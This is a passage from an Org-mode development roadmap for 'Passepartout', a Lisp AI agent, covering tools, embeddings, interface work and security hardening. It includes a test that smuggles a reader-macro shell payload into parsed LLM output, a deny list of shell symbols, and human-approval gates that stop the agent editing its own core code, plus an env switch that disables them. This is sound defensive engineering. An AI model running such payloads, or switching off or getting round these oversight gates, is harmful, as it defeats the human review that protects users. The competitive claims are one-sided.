The current README opens with competitive claims (downward cost curve, 2-3x fewer tokens) that are architecturally sound but not yet measured in the implementation. A non-engineer reader doesn't know what an AI agent is or why they'd want one. The README should lead with a short "What is an agent?" section (3-4 sentences, Wikipedia link), then "What Makes It Different" (safety, org-mode, offline — things that actually work today), then honest status of what's implemented vs planned. + +- Add "What is an AI Agent?" section at top: 3-4 sentences + link to [[https://en.wikipedia.org/wiki/Software_agent][Software agent]]. +- Move competitive cost/speed claims to docs/DESIGN_DECISIONS.org. +- Revise "The more you use it, the cheaper it gets" to reflect current state — architectural aspiration, not measured implementation yet. +- The Current Capabilities table and Quick Start sections stay intact. + +*** DONE Register cognitive tools — 10 tools for codebase operations +:PROPERTIES: +:ID: id-v041-cognitive-tools +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 14:40] +:END: + +Rationale: The ~def-cognitive-tool~ macro and ~*cognitive-tool-registry*~ are fully implemented but the registry is empty. The LLM sees "No tools registered" in its tool belt prompt. The agent can chat and run shell commands, but cannot search codebases, find files, eval code, run tests, or manipulate Org files. Ten cognitive tools bridge this gap and are prerequisites for the TDD workflow, org-mode additions, and evaluation harness in v0.5.0. + +- New skill: ~programming-tools.org~ (~programming-tools.lisp~). +- Register 10 tools via ~def-cognitive-tool~: + 1. ~search-files~ — regex search in file contents (uses ~cl-ppcre:scan~). Parameters: ~pattern~, ~path~ (dir), ~include~ (glob filter). + 2. ~find-files~ — glob file matching (uses SBCL ~directory~). Parameters: ~pattern~, ~path~. + 3. ~read-file~ — read file contents (uses ~uiop:read-file-string~). Parameters: ~filepath~. + 4. ~write-file~ — write content to file. Parameters: ~filepath~, ~content~. + 5. ~list-directory~ — list directory contents. Parameters: ~path~, ~pattern~ (optional). + 6. ~run-shell~ — execute shell command (through existing shell actuator). Parameters: ~cmd~. + 7. ~eval-form~ — evaluate Lisp expression in running image. Parameters: ~code~, ~package~ (optional). + 8. ~run-tests~ — run FiveAM tests. Parameters: ~test-name~ (optional, nil runs all). + 9. ~org-find-headline~ — find Org headline by ID or title. Parameters: ~id~ or ~title~, ~filepath~ (optional, searches memory store if not given). + 10. ~org-modify-file~ — surgical text replacement in Org file (reuses existing ~org-modify~). Parameters: ~filepath~, ~old-text~, ~new-text~. +- Descriptive names rather than Unix command names — the LLM reads these in a prompt, not a terminal. +- Each tool is ~20-60 lines. ~search-files~ iterates directory, reads files, scans lines. +- FiveAM tests: each tool gets a test verifying operation on a temp directory. + +*** DONE Enforce NO-HARDCODED-CONSTANTS programming standard +:PROPERTIES: +:ID: id-v041-no-hardcoded +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 14:40] +:END: + +Rationale: Currently, several configurable values are hardcoded in source: the Dispatcher's rule threshold (not yet configurable), similarity thresholds, timeouts, shell max output. The user should control behavior through ~.env~, not by editing source code. This is rule #6 in the ~programming-standards.org~ skill. Each new TODO that introduces a configurable value must add it to ~.env.example~ with a documented default. + +- Add ~DISPATCHER_RULE_THRESHOLD=3~ to ~.env.example~ (number of HITL approvals before a pattern becomes a permanent rule). +- Add ~RULES_FILE="$HOME/memex/system/rules.org"~ to ~.env.example~. +- Scan existing source for hardcoded configurable values — add to ~.env.example~ where missing. +- Any new TODO in v0.4.2+ that introduces a configurable value MUST include its ~.env.example~ entry. +** v0.4.0: Production Hardening — RELEASED 2026-05-06 +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-06 Wed 20:56] +:END: + +The features in this version were originally sequenced as v0.3.x patches but represent feature-level scope. They activate the architectural advantages designed in v0.1.0–v0.3.0, harden the self-build safety boundary, and expand Passepartout's interaction surfaces beyond the terminal TUI. Each feature depends on infrastructure already in place — the wiring, the sandbox, the gate trace — and activates it. + +*** DONE Semantic retrieval activation +CLOSED: [2026-05-06 Tue] +- State "DONE" from "TODO" [2026-05-06 Tue] + +Rationale: Two independent failures prevent the foveal-peripheral semantic retrieval path from ever firing. First, ~context-awareness-assemble~ never passes ~:foveal-vector~ to ~context-object-render~, so the renderer receives ~nil~ for ~foveal-vector~ and the similarity calculation always returns 0.0. Second, the default ~:hashing~ embedding backend uses SHA-256 (a cryptographic hash with the avalanche property) as a similarity function. SHA-256 is designed to produce entirely different outputs for nearly identical inputs — the property that makes it secure for integrity verification is precisely what makes it useless for semantic retrieval. A content-addressed Merkle tree correctly uses SHA-256 for identity; a retrieval engine needs a similarity function, not an identity function. The infrastructure for real embeddings (~local~ with Ollama, ~openai~ with the embeddings API) is fully implemented and working — this release activates the last-mile wiring and replaces the semantically blind default with a zero-dependency algorithm that actually captures textual overlap. + +- Wire ~:foveal-vector~ into ~context-awareness-assemble~: pass ~(memory-object-vector (memory-object-get foveal-id))~ as the ~:foveal-vector~ argument to the ~context-object-render~ call (one line in ~core-context.lisp:148-150~). +- Replace ~:hashing~ default backend with character-trigram Jaccard similarity. Pure Lisp, zero external dependencies, works exactly as offline as SHA-256, but captures lexical overlap: "authentication" and "authenticate" share trigrams "aut," "uth," "the," "hen," "ent," etc. The vector is a bloom filter of trigrams; cosine similarity maps to Jaccard (intersection / union). This provides real if crude semantic signal without any server. +- Rename existing ~embedding-backend-hashing~ to ~embedding-backend-sha256~ and repurpose it as an explicit ~:sha256~ provider for environments where even trivial Lisp computation is undesirable (embedded, resource-constrained). Document it as "integrity-only, no semantic retrieval capability." +- Add ~EMBEDDING_PROVIDER~ guidance to the setup wizard: explain that ~:hashing~ is the default offline fallback, ~:local~ requires Ollama with ~nomic-embed-text~, and ~:openai~ uses the paid embeddings API. +- Add FiveAM test: ingest two semantically related nodes ("implement login form" and "add password authentication"), verify cosine similarity > 0.0 with the trigram backend. + +*** DONE Self-build safety boundary +CLOSED: [2026-05-06 Tue] +- State "DONE" from "TODO" [2026-05-06 Tue] + +Rationale: Self-building (the agent modifying its own source code) begins at v0.10.0 when the tool ecosystem and test runner are in place. But self-building without path-level write protection means the agent can modify the very pipeline code that is currently executing — the ~core-*~ files that implement the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. A hallucination or a logic error during self-building that corrupts ~core-loop-reason.lisp~ destroys the agent's ability to reason about and fix the corruption. The "thin harness" is not privileged code in the architectural sense (homoiconicity means any code can be modified at runtime), but it must be *protected* code — modifications to the harness require a human in the loop, enforced by the Dispatcher's path-protection gate, not by convention. + +This is the corollary to "thin harness, fat skills": the harness is thin enough to be auditable by a human, and the Dispatcher ensures it stays that way. Skills and system modules expand freely; the core contracts to a minimal, protected kernel. + +- Add ~core-*~ patterns to ~*dispatcher-protected-paths*~: ~core-*.org~, ~core-*.lisp~, and their tangled equivalents. Any file write, file read-that-prefaces-a-write, or shell command targeting these paths triggers the Dispatcher's blocking gate. +- The blocked action produces a Flight Plan (HITL approval required). The human reviews the proposed core change in an Org buffer before approving. This is the same mechanism that governs shell commands and network exfiltration — the core protection is a path-specific instance of the existing gate, not a new gate. +- Implement a ~SELF_BUILD_MODE~ env var. When ~SELF_BUILD_MODE=true~ (default ~false~): + - Core path protection is active (writes blocked, HITL required) + - Non-core writes proceed through the standard Dispatcher gate (permissions table + policy + Dispatcher) + - ~SELF_BUILD_MODE=false~ disables core protection entirely — useful during initial development when the human is manually editing core files and doesn't want every save to trigger a Flight Plan +- Telemetry: track self-build actions (core modifications proposed, core modifications approved, core modifications denied). This is the dataset that the Dispatcher's learning system uses in v3.0.0 to understand which core modifications are safe enough to automate. +- Add FiveAM test: simulate a write to ~core-loop.lisp~, verify the Dispatcher returns a ~:LOG~ rejection with ~"protected path"~ in the message. + +*** DONE TUI Differentiator Visualization +CLOSED: [2026-05-06 Tue] +- State "DONE" from "TODO" [2026-05-06 Tue] + +Rationale: Three architectural elements exist today in the daemon that no competitor can render — the Dispatcher gate trace, the foveal-peripheral focus map, and the rules-learned counter. All three run in pure Lisp with 0 LLM tokens. None are visible to the user. Making them visible turns Passepartout's architecture from an internal mechanism into a trust-building UX — the user sees exactly which safety gates passed, exactly what the agent is focusing on, and exactly how many rules the Dispatcher has learned from their decisions. No competitor can ship this because none has deterministic gates to trace, foveal-peripheral context to map, or a rule-synthesizing Dispatcher to count. + +- Gate trace per action: extend the daemon's response plist to include ~:gate-trace~ — a list of ~(:gate :result <:passed | :blocked | :approval>)~ entries produced by ~cognitive-verify~. The TUI renders each entry as a colored line below the corresponding agent message: green ~✓ Dispatcher: path allowed~, red ~✗ Dispatcher: blocked (shell safety)~, yellow ~→ HITL required: /approve HITL-ab12~. Gate trace lines are dim and collapsible (press Tab on a message to toggle trace visibility). This turns the invisible ten-vector safety gate into the user's primary trust mechanism. +- Focus map in status bar: add a second status bar line showing ~[Focus: core-loop.lisp:think()] [Scope: passepartout] [3 related nodes]~. The daemon already tracks ~foveal-id~ and ~*scope-resolver*~ in the signal plist; the TUI reads these from the most recent response and renders them. Related node count comes from the number of objects with cosine similarity ≥ threshold in the last context assembly. This shows the user *what the agent is looking at* — the single biggest trust gap in AI agents. +- Rule counter in status bar: ~[Rules: 47]~. The Dispatcher's ~*hitl-pending*~ hash table and approved/disallowed memory-object entries provide the count — every HITL decision that produces a rule increments it. The TUI reads the count from a new daemon response field ~:rule-count~. The user watches the counter tick up as they teach the agent their preferences. +- Expanded theme: replace the 7-flat-color ~*tui-theme*~ with a 25-color layered system organized by message category (roles, content types, tool visibility, gate states, status). See the design discussion for the full color mapping. Implement a ~/theme ~ command that swaps between named presets (~dark~, ~light~, ~solarized~, ~gruvbox~). Theme change persists to disk and reloads on next session. +- Add FiveAM tests: gate trace renders correctly for pass/block/approval states; focus map updates when ~foveal-id~ changes; rule counter increments on HITL approval. + +*** DONE Gateway QA, Discord, Slack + Emacs Bridge +CLOSED: [2026-05-06 Tue] +- State "DONE" from "TODO" [2026-05-06 Tue] + +Rationale: Passepartout currently has Telegram and Signal gateways in the codebase, both untested. The setup wizard has Slack as a configurable option with no implementation. Two messaging channels is not competitive — OpenClaw has 25+, Hermes Agent has 6+. But more critically: the Lisp crowd is Passepartout's natural audience, and they live in Emacs. An Emacs bridge that speaks the framed TCP protocol is trivial to implement (the protocol is ~200 lines of Lisp; porting to elisp is straightforward) and turns every Emacs buffer into a Passepartout interaction surface. This is not the deep Emacs integration of v0.11.2 (where the agent controls Emacs) — this is Emacs controlling the agent over TCP. The Emacs user selects a region, hits ~M-x passepartout-send-region~, and the agent responds in a dedicated buffer. They never leave their editor. + +Gateway: +- Integration tests for Telegram gateway: mock the Telegram Bot API, verify message send (POST ~/sendMessage~) and receive (GET ~/getUpdates~) round-trip. Verify HITL commands (~/approve~, ~/deny~) are intercepted before injection. +- Integration tests for Signal gateway: mock ~signal-cli~ output, verify JSON message parsing and polling loop. Verify send path constructs correct ~signal-cli send~ arguments. +- Add Discord gateway: Discord Bot API (REST + Gateway WebSocket for real-time messages). Register bot, handle ~MESSAGE_CREATE~ events, send via ~POST /channels/{id}/messages~. Map Discord mentions to ~:user-input~ signals. HITL commands work identically to Telegram. +- Add Slack gateway: Slack Events API + Web API. Subscribe to ~message.im~ events, send via ~chat.postMessage~. Reuse the SLACK_TOKEN config key already present in the setup wizard. +- Each gateway is a skill under ~passepartout.skills.gateway-~ — jail-loaded, hot-reloadable, sandbox-verified. +- Gateway configuration surfaced in the setup wizard: after entering a token, offer "send a test message to yourself" as a connection verification step. Surface the result as a green ✓ or red ✗ with the error detail. +- Gateway status displayed in ~messaging-list~: platform, configured (yes/no), gateway active (yes/no), last message received (timestamp). + +Emacs Bridge: +- Elisp package: ~passepartout.el~. Connects to daemon on localhost:9105 via ~make-network-process~ (TCP). +- Sends: framed plist protocol identical to the TUI (~frame-message~ ported to elisp — write hex length prefix, write prini'd plist). The daemon does not know or care whether the client is the Croatoan TUI, the CLI, or Emacs. +- Receives: daemon responses arrive in a ~passepartout-response~ buffer. Each response is rendered as an Org headline: role prefix, timestamp, content. Gate trace (from v0.4.0) is rendered as property drawer entries under the headline. +- ~M-x passepartout-send-region~: sends the selected region as a ~:user-input~ signal with the current buffer's file path as context. +- ~M-x passepartout-send-buffer~: sends the entire buffer. +- ~M-x passepartout-focus~: sets the foveal focus to the Org headline at point (extracts ~:ID:~ property, sends ~:point-update~ signal). Equivalent to the TUI's ~/focus~ command. +- ~M-x passepartout-approve~ / ~M-x passepartout-deny~: prompts for HITL token and sends approval/denial. +- Agent modifies an Org file → Emacs receives ~:buffer-update~ via the bridge → the buffer is refreshed (~revert-buffer~ or targeted replacement). +- The Emacs bridge is the daily driver for Lisp users. The TUI remains for non-Emacs users and for the differentiator visualizations. Emacs users get the gate trace and focus map as Org property drawers in the response buffer — same data, elisp-native rendering. + +**** DONE Native embedding inference +CLOSED: [2026-05-07 Thu] + +Implemented: in-process embedding inference via CFFI binding to llama.cpp. + +- FFI binding to llama.cpp's current (non-deprecated) embedding API via a C wrapper library (~/usr/local/lib/libllama_wrap.so~) that bridges CFFI pointer params to llama.cpp struct-by-value calls +- Builds on ~/usr/local/lib/libllama.so~ (llama.cpp shared library) +- Ship nomic-embed-text-v1.5 (80MB Q4_K_M GGUF) as the bundled embedding model. 768-dimensional vectors (nomic-bert, 12 layers), CPU-friendly, <100ms per document on any modern CPU +- ~EMBEDDING_PROVIDER=native~ enables the native backend; model preloads at daemon startup (~30s) +- Lazy loading via ~*embedding-backend* :native~ also works (first call blocks ~45s for model init) +- C wrapper functions: ~llama_wrap_model_load~, ~llama_wrap_new_context~, ~llama_wrap_encode~, ~llama_wrap_batch_init/free~ +- Struct sizes verified via C sizeof/offsetof: llama_model_params (72B), llama_context_params (136B), llama_batch (56B) +- BERT pooling: uses ~llama_get_embeddings_seq~ for sequence-level embedding +- ~sb-int:set-floating-point-modes :traps nil~ required before any llama.cpp call (FPU state conflict) +- ~llama_backend_init~ required before model load +- ~llama_model_get_vocab~ + ~llama_vocab_n_tokens~ replaces deprecated ~llama_n_vocab~ +- ~llama_tokenize~ takes ~vocab*~ not ~model*~ (API change since earlier llama.cpp versions) +- Exports: ~embedding-backend-native~, ~embedding-native-load-model~, ~embedding-native-unload~, ~embedding-native-ensure-loaded~, ~embedding-native-get-dim~ +- FiveAM tests: availability, loading, dimensions (768), self-similarity (1.0), semantic similarity ranking +- The trigram Jaccard backend remains as the default fallback for zero-config deployments + +- State "DONE" from "TODO" [2026-05-07 Thu] + +*** Competitive Advantage Analysis — v0.4.0 Summary + +Production hardening is the process of turning architectural potential into operational strength. The semantic retrieval fix activates the foveal-peripheral model's full power: deep nodes that are topically related to the user's focus now surface automatically. Without this, the context model is "dumb truncation at depth 2." With it, it's genuine semantic awareness — and since the retrieval is deterministic (in-image vector math, zero LLM tokens), the cost advantage over competitors' LLM-assisted search compounds with every query. + +The self-build safety boundary is a capability no competitor provides: the agent cannot modify its own brain stem without human review. The ~core-*~ path protection means the Dispatcher draws a line at the filesystem level, not the policy document level. Claude Code, OpenClaw, and Hermes all allow agents to modify their own source files without distinction between application code and runtime code. Passepartout's Dispatcher prevents modification of the very pipeline that implements the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. This is the operational realization of "thin harness, fat skills" — the harness is thin enough to be auditable by a human, and the Dispatcher ensures it stays that way. + +The TUI differentiator visualizations are Passepartout's permanent UX advantage. The gate trace, focus map, and rule counter are UX elements that only make sense in Passepartout's architecture — deterministic gates, foveal-peripheral context, and Dispatcher rule synthesis exist nowhere else. No competitor can ship this because none has deterministic gates to trace, foveal-peripheral context to map, or a rule-synthesizing Dispatcher to count. Combined with the TUI critical fixes from v0.3.3, the TUI is competitive on usability and uniquely informative on safety and context transparency. + +The messaging gateways and Emacs bridge expand Passepartout's interaction surface from a single terminal TUI to four surfaces: terminal, Telegram/Signal/Discord/Slack messaging, Emacs, and voice (via the voice gateway in v0.10.3). The Emacs bridge is strategically critical — the Lisp crowd is Passepartout's natural audience, and they live in Emacs. An Emacs bridge that speaks the framed TCP protocol turns every Emacs buffer into a Passepartout interaction surface. Combined with the gate trace and focus map rendered as Org property drawers in the response buffer, Emacs users get the same differentiator visualizations as TUI users — same data, elisp-native rendering. +** v0.3.0: Event Orchestration + HITL — RELEASED 2026-05-06 +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-06 Wed 15:50] +:END: + +Unified control plane, Human-in-the-Loop state management, and backfill remediation +for stubs and gaps from v0.1.0/v0.2.0. Security hardening followed as +v0.3.1–v0.3.3 point releases. + +*** DONE Secret Exposure Gate, Shell Safety, Lisp Validation +:PROPERTIES: +:ID: id-aa53c128-195b-42d4-9838-2def59faf7cf +:CREATED: [2026-05-02 Sat] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-02 Sat] +:END: + +*** DONE Multi-distro deployment (Debian+Fedora, systemd, Docker) +:PROPERTIES: +:ID: id-783df999-f7fe-45c8-896d-2fd07c604d64 +:CREATED: [2026-05-02 Sat] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-02 Sat] +:END: + +*** DONE Project rename to Passepartout (files, packages, env vars) +:PROPERTIES: +:ID: id-91724874-aa0d-4804-9220-8bc5551f1366 +:CREATED: [2026-05-02 Sat] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-02 Sat] +:END: + +*** DONE 31 org files with full literate prose +:PROPERTIES: +:ID: id-597b2a92-aac6-481a-b2c4-4f9842ced97c +:CREATED: [2026-05-02 Sat] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-02 Sat] +:END: + +*** DONE Human-in-the-Loop (HITL) +CLOSED: [2026-05-03 Sun 14:00] +:PROPERTIES: +:ID: id-hitl-complete +:CREATED: [2026-05-02 Sat] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-03 Sun 14:00] +:END: +Continuation-based interaction. The agent can suspend its cognitive loop to ask for +permission or clarification and resume precisely where it left off. Builds on the +dispatcher's existing Flight Plan mechanism. + +*** DONE Event Orchestrator (unified hooks+cron+routing) +:PROPERTIES: +:ID: id-d35aea3d-2e5f-4a12-a9b0-1c2d3e4f5a6b +:CREATED: [2026-05-02 Sat 14:00] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-02 Sat 22:36] +:END: +Unified control plane for hooks, cron, and complexity-based routing. +- *hook-registry* + *cron-registry* + tier classifier +- Hooks via ~#+HOOK:~ Org-mode properties +- Three complexity tiers: ~:REFLEX~ (no LLM), ~:COGNITION~ (light LLM), ~:REASONING~ (full LLM) +- Hooked into heartbeat for cron processing +- Rule-based tier classifier (overrideable via ~*tier-classifier*~) + +*** DONE Context Manager (project scoping) +CLOSED: [2026-05-05 Tue] +:PROPERTIES: +:ID: id-context-manager-scoping +:CREATED: [2026-05-05 Tue] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-05 Tue] +:END: +Stack-based project focusing with persistence. +- ~push-context~/~pop-context~/~with-context~ stack operations +- ~current-scope~ wired into perceive gate ~*scope-resolver*~ +- ~/focus~/~/scope~/~/unfocus~ TUI commands +- Context stack persisted to ~~/.cache/passepartout/context.lisp~, auto-restores on boot + +*** DONE Model-Tier Routing (cost optimization) +CLOSED: [2026-05-03 Sun 16:00] +:PROPERTIES: +:ID: id-model-tier-routing +:CREATED: [2026-05-02 Sat 23:00] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-03 Sun 16:00] +:END: +Extend ~*model-selector*~ for quadrant-based routing with per-slot provider cascades. +- Privacy filter (local-only for @personal content) — top priority +- Quadrant tagging (foreground/background × probabilistic/deterministic) +- Complexity classifier (code/plan/chat/background slots), each with its own provider cascade +- Model-selector skill registers into =*model-selector*= hook +Deferred to v0.5.0: budget tracking per request, per-session cost monitoring. +Deferred to v0.11.0: TUI /config command for cascade configuration (env vars for now). + +*** DONE Memory Scope Segmentation +CLOSED: [2026-05-03 Sun 16:30] +:PROPERTIES: +:ID: id-memory-scope-segmentation +:CREATED: [2026-05-02 Sat 23:00] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-03 Sun 16:30] +:END: +Extend memory-object with ~:scope~ property. +- ~:memex~ (permanent knowledge), ~:session~ (ephemeral), ~:project~ (current work) +- Scope-aware retrieval in memory layer + +*** DONE Asynchronous Embedding Gateway +CLOSED: [2026-05-05 Tue] +:PROPERTIES: +:ID: id-async-embedding +:CREATED: [2026-05-02 Sat 23:00] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-05 Tue] +:END: +Provider-agnostic vector generation (Ollama, OpenAI, hashing fallback). +- Three backends: local (Ollama-compatible), openai (/v1/embeddings), hashing (SHA-256) +- ~embeddings-compute~ and ~*embedding-backend*~ for runtime provider selection +- ~ingest-ast~ populates vectors at object creation time +- ~mark-vector-stale~ marks vectors as ~:pending~ and queues for re-embedding +- ~embed-all-pending~ drains queue, computes vectors, stores in ~*memory-store*~ +- Cron job registered with orchestrator: runs every 10m on ~:reflex~ tier +- ~EMBEDDING_PROVIDER~ env var for provider selection +- Registered as proper skill (~defskill~~:passepartout-system-model-embedding~) + +*Note:* The default ~:hashing~ backend uses SHA-256-derived vectors. SHA-256 is a +cryptographic hash with the avalanche property — one-bit input differences produce +entirely different outputs. This makes it a correct integrity check (Merkle tree) +but an incorrect similarity function (semantic retrieval). v0.4.0 replaces it with +a zero-dependency lexical similarity algorithm that actually captures textual +overlap while remaining offline-capable. + +*** DONE TUI Experience (Daily Driver Quality) +CLOSED: [2026-05-05 Tue] +:PROPERTIES: +:ID: id-tui-experience +:CREATED: [2026-05-02 Sat 23:00] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-05 Tue] +:END: +All P0-P4 items implemented: +- P0: Chat scrollback (Page Up/Down), Input history (up/down arrows) +- P1: Status bar (connection, mode, msg count, scroll, activity indicator) +- P1: Message rendering (timestamps, colors, role icons) +- P2: Command palette (~/help~ command listing) +- P2: Multi-line input (~\ + Enter~ inserts newline) +- P3: Background activity indicator (~…thinking~ spinner) +- P4: Tab completion for all ~/~~ commands +- P4: Configurable theme (~*tui-theme*~ plist, ~~/theme~~ command) + +*** DONE v0.2.x Backfill Remediation (stubs and gaps) +CLOSED: [2026-05-03 Sun] +:PROPERTIES: +:ID: id-v02x-remediation +:CREATED: [2026-05-03 Sun] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-03 Sun] +:END: +- P0: vault-get-secret / vault-set-secret wrappers (one-line delegation to vault-get/vault-set with ~:type :secret~) +- P0: system-archivist Scribe + Gardener (distill daily logs → atomic notes; scan broken links, orphaned memory-objects) +- P0: system-self-improve surgical edit + error fix (read → replace → snapshot → write → balance → tangle → reload) +- P0: programming-org org-modify + org-ast-render (locate node by ID, apply changes; convert plist AST → Org text) +- P0: programming-literate balance check + tangle sync (verify balanced parens in source blocks; verify .lisp matches tangled output) +- P1: system-event-orchestrator bootstrap (scan Org files for HOOK/CRON properties, register via existing registries) +- P1: system-memory introspection (structured statistics: object count by type, TODO distribution, orphans, snapshots) +- P1: path relic skills/ → lisp/ (update skill-initialize-all and context-skill-source to resolve against lisp/ directory) +- P2: core-context semantic retrieval (populate org-object-vector at ingest; fallback: TF-IDF bag-of-words) +- P2: core-context subtree-based skill source loading (context-skill-subtree for targeted retrieval by heading name) +- P3: Variable name drift normalization (*memory* vs *memory-store*, *skills-registry* vs *skill-registry*) +- P4: Eliminate STYLE-WARNINGs from setup output (reorder defuns for same-file forward references; accept cross-skill references) + +*** DONE Project Renaming (Bouncer → Dispatcher) +:PROPERTIES: +:ID: id-9e779580-287b-b3d1-37b9-bcefd750bf9e +:CREATED: [2026-05-01 Fri 15:40] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-02 Sat 22:00] +:END: +The Dispatcher's role has evolved beyond security guard. It is the seed of the deterministic engine — it learns to execute procedures without invoking the neural net. + + +*** DONE Parser RCE elimination +:PROPERTIES: +:ID: id-v031-parser-rce +:CREATED: [2026-05-06 Wed] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-06 Wed 16:38] +:END: + +Rationale: SBCL's default ~*read-eval* accessor is ~t~, enabling the ~#.~ reader macro to execute arbitrary Lisp forms during parsing. Three code paths in the current codebase process untrusted input with ~read-from-string~ or ~read~ without binding ~*read-eval*~ to ~nil~. Each represents a remote code execution vector that bypasses all deterministic safety gates — the Dispatcher's shell safety check, path protection, secret scanning, and network exfiltration detection never execute because the malicious form is evaluated during parsing, before the action plist is even constructed. + +- Wrap ~read-from-string~ in ~think()~ (core-loop-reason.lisp:102) with ~(let ((*read-eval* nil)) ...)~ — LLM output is untrusted by definition; parsing it must never execute code. The markdown-strip regex already runs, so the fix immediately follows it. +- Wrap ~read~ in ~load-memory-from-disk~ (core-memory.lisp:143) with ~(let ((*read-eval* nil)) ...)~ — the ~memory.snap~ file lives in ~~/ by default and could be corrupted or planted. +- Wrap ~read-from-string~ in ~action-system-execute~ (core-loop-act.lisp:62) with ~(let ((*read-eval* nil)) ...)~ — the ~:system :eval~ path executes untrusted payload code. Explicitly assert that this path requires the Dispatcher's approval gate. +- Add FiveAM test: inject ~"(#.(shell \"echo pwned\"))"~ into the ~think()~ pipeline and assert no shell execution occurs. + +*** DONE Shell safety & actuator sandboxing +:PROPERTIES: +:ID: id-v032-shell-sandbox +:CREATED: [2026-05-06 Wed] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-06 Wed 16:46] +:END: + +Rationale: The ~:system :eval~ actuator path is currently unchecked by the Dispatcher's approval gate — only ~:shell~ and ~:tool "shell"~ trigger HITL. The shell actuator wraps commands through double ~bash -c~ nesting (~system-actuator-shell.lisp:10~), where Lisp's ~format~ with ~s~ produces S-expression-safe strings, not shell-safe strings. A command containing quotes or substitution characters can break out. Additionally, skill files loaded via ~skill-initialize-all~ execute arbitrary Lisp in jailed packages — a skill file containing ~(uiop:run-program "dangerous")~ executes immediately on load before any gate can inspect it. + +- Fix shell double-wrapping: remove the outer ~bash -c~ in ~actuator-shell-execute~; pass the command string directly to ~uiop:run-program~ with ~:force-shell nil~. The timeout wrapping remains via the OS ~timeout~ binary. +- Extend the Dispatcher approval requirement to the ~:system :eval~ path (currently only ~:shell~ and ~:tool "shell"~ trigger HITL). An unbounded ~eval~ should require the same Flight Plan approval as a shell command. +- Add skill sandbox mode for ~skill-initialize-all~: load each skill's code into a temporary jailed package, run the registered trigger function in isolation, verify it imports no restricted symbols (from CL package: ~run-program~, ~shell~, ~run-shell-command~), then promote to the live registry on pass. +- Add FiveAM test: register a skill containing ~(uiop:run-program "echo test")~ in the body and verify the sandbox blocks its promotion. + +*** DONE TUI Critical Fixes +:PROPERTIES: +:ID: id-v033-tui-fixes +:CREATED: [2026-05-06 Wed] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-06 Wed 17:59] +:END: + +Rationale: The TUI is Passepartout's only interface. OpenClaw distributes across 25+ messaging channels with voice, Canvas, and macOS/iOS apps. Hermes Agent ships multiline editing, slash-command autocomplete, conversation history, interrupt-and-redirect, and streaming tool output in its TUI. Passepartout's Croatoan TUI must carry the product alone, and it currently lacks word wrap, cursor movement, resize handling, connection-loss feedback, a quit command, and persistent history. None of these fixes require daemon changes — they are pure client-side Croatoan work that closes the gap from "proof of concept" to "daily driver." + +- Word wrap in ~view-chat~: every LLM response longer than the terminal width is silently truncated to one line. Croatoan supports multi-line rendering; ~view-chat~ must calculate per-message line height, adjust visible-message count accordingly, and scroll per message-line rather than per message. For very long messages, add a pager mode where pressing Enter on a message opens it in a scrollable overlay. +- Left/Right cursor in input: add ~:left~ and ~:right~ key handlers that move a cursor position index within the ~:input-buffer~ list. Characters are inserted at the cursor position, not always appended. Backspace deletes at the cursor position. +- SIGWINCH handler: register a terminal resize signal. On resize, re-measure the root window, destroy and recreate the three sub-windows (~sw~, ~cw~, ~iw~), set all dirty flags to ~t~, and force a full redraw. +- Connection-loss detection: the reader thread currently polls ~recv-daemon~ silently on EOF. On disconnection, queue a ~:disconnected~ event, set ~:connected~ to ~nil~, clear ~:busy~, add a red system message "Connection lost — run /reconnect to retry." The ~:disconnected~ event dirties the status bar to show the status indicator. +- ~/quit~ command + persistent history: on ~/quit~, save ~:input-history~ to ~~/.cache/passepartout/history~ (one line per entry, most recent first), send a goodbye handshake to the daemon, close the socket, and exit the main loop cleanly. On startup, load history from the save file if it exists. +- Scroll offset clamping: clamp ~:scroll-offset~ to ~(max 0 (- msg-count visible-lines))~. The status bar shows ~"msgs:12/45"~ (visible / total) rather than ~"msgs:45"~ (total only) so the user knows when they've scrolled past the oldest message. +- Message list storage: replace the O(n²) ~(nth i msgs)~ list indexing with a simple adjustable vector. ~add-msg~ appends; ~view-chat~ iterates with ~aref~. The vector is resized as needed. Same API surface, 100x speedup on message-heavy sessions. +- Add FiveAM tests: word-wrap produces correct line count for a 200-character string at 80-column width; cursor left/right wraps at buffer boundaries; SIGWINCH preserves message state; ~/quit~ saves and restores history. +** v0.2.0: Interactive Refinement — RELEASED 2026-04-29 +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-29 Wed 20:17] +:END: + +The "Brain" meets the "Machine." Standardization and professionalization of the user interface and environment. + +*** DONE Text User Interface (Croatoan-based, styled, scrollable) +:PROPERTIES: +:ID: id-57cef382-fe14-42e6-aade-03e05e3e920b +:CREATED: [2026-04-28 Tue] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-29 Wed] +:END: + +The Croatoan-based TUI with model-view separation and dirty-flag rendering is the foundation for all TUI improvements: word wrap in v0.3.3, gate trace in v0.4.0, tool visualization in v0.8.1, and streaming in v0.7.1. + +*** DONE Self-editing (error detection, surgical fix, hot-reload) +:PROPERTIES: +:ID: id-459b8275-9979-4d0f-8d61-a9af883930d4 +:CREATED: [2026-04-23 Wed] +:END: +:LOGBOOK: +- State "DONE" from 